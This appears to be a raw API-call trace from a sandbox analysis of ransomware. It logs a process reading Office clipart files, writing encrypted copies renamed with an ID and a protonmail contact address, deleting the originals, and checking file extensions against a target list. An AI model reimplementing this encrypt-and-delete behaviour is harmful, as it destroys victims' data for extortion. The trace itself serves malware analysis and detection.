	[0167.058] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xf40, lpOverlapped=0x0) returned 1
	[0167.060] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xf50, lpOverlapped=0x0) returned 1
	[0167.061] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.061] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.061] SetEndOfFile (hFile=0x440) returned 1
	[0167.062] CloseHandle (hObject=0x440) returned 1
	[0167.062] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.062] SetEndOfFile (hFile=0x47c) returned 1
	[0167.067] CloseHandle (hObject=0x47c) returned 1
	[0167.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1
	[0167.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.068] lstrlenW (lpString=".doc") returned 4
	[0167.068] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.068] lstrlenW (lpString=".docx") returned 5
	[0167.068] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0167.068] lstrlenW (lpString=".pdf") returned 4
	[0167.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.068] lstrlenW (lpString=".xls") returned 4
	[0167.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.068] lstrlenW (lpString=".xlsx") returned 5
	[0167.068] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0167.068] lstrlenW (lpString=".ppt") returned 4
	[0167.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.068] lstrlenW (lpString=".zip") returned 4
	[0167.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.068] lstrlenW (lpString=".rar") returned 4
	[0167.068] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.068] lstrlenW (lpString=".bz2") returned 4
	[0167.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.069] lstrlenW (lpString=".7z") returned 3
	[0167.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString=".dbf") returned 4
	[0167.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString=".1cd") returned 4
	[0167.069] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString=".jpg") returned 4
	[0167.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString=".doc") returned 4
	[0167.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.069] lstrlenW (lpString=".docx") returned 5
	[0167.069] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0167.069] lstrlenW (lpString=".pdf") returned 4
	[0167.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString=".xls") returned 4
	[0167.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString=".xlsx") returned 5
	[0167.069] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0167.069] lstrlenW (lpString=".ppt") returned 4
	[0167.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.069] lstrlenW (lpString=".zip") returned 4
	[0167.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString=".rar") returned 4
	[0167.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.069] lstrlenW (lpString=".bz2") returned 4
	[0167.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.069] lstrlenW (lpString=".7z") returned 3
	[0167.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.070] lstrlenW (lpString=".dbf") returned 4
	[0167.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.070] lstrlenW (lpString=".1cd") returned 4
	[0167.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0167.070] lstrlenW (lpString=".jpg") returned 4
	[0167.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.070] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0167.070] lstrlenW (lpString="J0099204.WMF") returned 12
	[0167.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.071] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17854) returned 1
	[0167.071] CloseHandle (hObject=0x47c) returned 1
	[0167.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220
	[0167.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.071] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.071] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.072] GetLastError () returned 0x0
	[0167.072] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0167.074] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0167.199] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.201] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.202] SetEndOfFile (hFile=0x440) returned 1
	[0167.205] CloseHandle (hObject=0x440) returned 1
	[0167.210] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.210] SetEndOfFile (hFile=0x47c) returned 1
	[0167.222] CloseHandle (hObject=0x47c) returned 1
	[0167.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1
	[0167.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.499] lstrlenW (lpString=".doc") returned 4
	[0167.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.499] lstrlenW (lpString=".docx") returned 5
	[0167.499] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.499] lstrlenW (lpString=".pdf") returned 4
	[0167.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.499] lstrlenW (lpString=".xls") returned 4
	[0167.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.500] lstrlenW (lpString=".xlsx") returned 5
	[0167.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.500] lstrlenW (lpString=".ppt") returned 4
	[0167.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString=".zip") returned 4
	[0167.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.500] lstrlenW (lpString=".rar") returned 4
	[0167.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString=".bz2") returned 4
	[0167.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString=".7z") returned 3
	[0167.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString=".dbf") returned 4
	[0167.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString=".1cd") returned 4
	[0167.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString=".jpg") returned 4
	[0167.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.500] lstrlenW (lpString=".doc") returned 4
	[0167.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString=".docx") returned 5
	[0167.501] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.501] lstrlenW (lpString=".pdf") returned 4
	[0167.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString=".xls") returned 4
	[0167.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.501] lstrlenW (lpString=".xlsx") returned 5
	[0167.501] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.501] lstrlenW (lpString=".ppt") returned 4
	[0167.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.501] lstrlenW (lpString=".zip") returned 4
	[0167.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.501] lstrlenW (lpString=".rar") returned 4
	[0167.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString=".bz2") returned 4
	[0167.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString=".7z") returned 3
	[0167.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.501] lstrlenW (lpString=".dbf") returned 4
	[0167.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.501] lstrlenW (lpString=".1cd") returned 4
	[0167.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0167.501] lstrlenW (lpString=".jpg") returned 4
	[0167.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.501] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.501] lstrlenW (lpString="J0101862.BMP") returned 12
	[0167.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.502] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=32184) returned 1
	[0167.502] CloseHandle (hObject=0x4c0) returned 1
	[0167.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220
	[0167.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.503] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.503] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0167.504] GetLastError () returned 0x0
	[0167.504] ReadFile (in: hFile=0x4c0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.506] WriteFile (in: hFile=0x484, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.508] ReadFile (in: hFile=0x4c0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.508] WriteFile (in: hFile=0x484, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.508] SetEndOfFile (hFile=0x484) returned 1
	[0167.508] CloseHandle (hObject=0x484) returned 1
	[0167.508] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.508] SetEndOfFile (hFile=0x4c0) returned 1
	[0167.563] CloseHandle (hObject=0x4c0) returned 1
	[0167.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1
	[0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.024] lstrlenW (lpString=".doc") returned 4
	[0168.024] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0168.024] lstrlenW (lpString=".docx") returned 5
	[0168.024] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0168.024] lstrlenW (lpString=".pdf") returned 4
	[0168.024] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0168.024] lstrlenW (lpString=".xls") returned 4
	[0168.024] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0168.024] lstrlenW (lpString=".xlsx") returned 5
	[0168.024] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0168.024] lstrlenW (lpString=".ppt") returned 4
	[0168.024] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0168.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.024] lstrlenW (lpString=".zip") returned 4
	[0168.024] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0168.024] lstrlenW (lpString=".rar") returned 4
	[0168.024] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString=".bz2") returned 4
	[0168.025] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString=".7z") returned 3
	[0168.025] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.025] lstrlenW (lpString=".dbf") returned 4
	[0168.025] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.025] lstrlenW (lpString=".1cd") returned 4
	[0168.025] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.025] lstrlenW (lpString=".jpg") returned 4
	[0168.025] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.025] lstrlenW (lpString=".doc") returned 4
	[0168.025] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString=".docx") returned 5
	[0168.025] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0168.025] lstrlenW (lpString=".pdf") returned 4
	[0168.025] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString=".xls") returned 4
	[0168.025] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0168.025] lstrlenW (lpString=".xlsx") returned 5
	[0168.025] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0168.025] lstrlenW (lpString=".ppt") returned 4
	[0168.025] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.026] lstrlenW (lpString=".zip") returned 4
	[0168.026] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0168.026] lstrlenW (lpString=".rar") returned 4
	[0168.026] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0168.026] lstrlenW (lpString=".bz2") returned 4
	[0168.026] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0168.026] lstrlenW (lpString=".7z") returned 3
	[0168.026] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.026] lstrlenW (lpString=".dbf") returned 4
	[0168.026] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.026] lstrlenW (lpString=".1cd") returned 4
	[0168.026] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0168.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0168.026] lstrlenW (lpString=".jpg") returned 4
	[0168.026] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0168.026] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0168.026] lstrlenW (lpString="J0102762.WMF") returned 12
	[0168.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.027] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11216) returned 1
	[0168.028] CloseHandle (hObject=0x440) returned 1
	[0168.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220
	[0168.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.028] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.029] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
